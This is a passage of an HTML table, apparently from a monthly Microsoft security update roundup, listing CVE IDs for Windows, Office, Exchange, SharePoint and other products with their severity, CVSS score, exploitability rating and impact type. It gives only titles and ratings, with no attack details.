  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
